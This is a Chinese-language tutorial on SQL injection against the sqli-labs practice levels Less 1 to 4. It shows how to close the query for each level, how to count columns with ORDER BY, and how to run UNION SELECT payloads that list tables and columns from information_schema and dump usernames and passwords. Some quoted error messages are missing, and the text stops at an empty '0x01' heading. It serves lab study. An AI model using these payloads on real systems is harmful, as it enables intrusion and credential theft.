SQL注入二

0x00 GET注入

0000 找出合适的闭合SQL语句

1、确定传入参数的SQL语句包裹符号

找出闭合的方法,以sqli_labs中的less1-less4为例子

less1中的报错提示语句为

less2中的报错语句为

less3中的报错语句为

less4中的报错语句为

​ 最左边与最右边的两个单引号是报错语句引用SQL语句的部分不属于SQL语句里的一部分,单引号里面的内容分别是

less1:	'1'' LIMIT 0,1
less2: ' LIMIT 0,1
less3: '1'') LIMIT 0,1
less4: "1\" LIMIT 0,1

去掉输入的内容,得出大概的SQL语句

less1:	select ...... where id = 'id' LIMIT 0,1
less2: select ...... where id = id LIMIT 0,1
less3: select ...... where id = ('id') LIMIT 0,1
less4: select ...... where id = "id" LIMIT 0,1

2、得出闭合语句

less1: id = 1' --+(注释)
less2: id = 1 --+
less3: id = 1') --+
less4: id = 1" --+

输入闭合后的参数查询能正确进行

0001 使用order by 语句判断字段数

1、判断字段数的原因:

在之后的union select的联合查询中需要利用正确的字段数进行

2、使用方法:

在确定的闭合语句的参数后面加上order by 字段数,字段数的选择可以从1开始往后一个一个试,也可以使用二分法进行爆破

在less1-less4中,知道设置字段数为3都能成功查询,设置为4则不能成功查询,由此可知字段数为3

0002 使用union select联合查询,获取表名

在使用查询之前要了解应该从哪里获取表名字段名等信息,这就得先了解数据库的结构,大致的结构可以看以下图片了解

由此可得我们要查询tables表内的表名,使用union select之前要使原来的查询报错才会执行联合查询的语句

id = 0' union select 1,2,3 --+

从图中可以看出union查询的位置在数值2跟3 的位置,可在两个位置中选一个进行注入

id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()  --+

通过查询可知在该数据库下有四个表分别为emailsreferersuagentsusers,现在查询users表中的字段名

id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'  --+

查询到users表中的字段有三个,下一步查询usernamepassword中的信息,在这之前的查询都是在汇总的 数据库information_schema中查询的,现在目标明确是要users表中的usrenamepassword字段里的数据,可以直接进行查询而不用到information_schema中查询(该数据库也不会存储字段的数据内容)

id=0' union select 1,group_concat(username,':',password),3 from users  --+

less1-less4的注入就此结束,数据库中的所有信息都能获取到!

0x01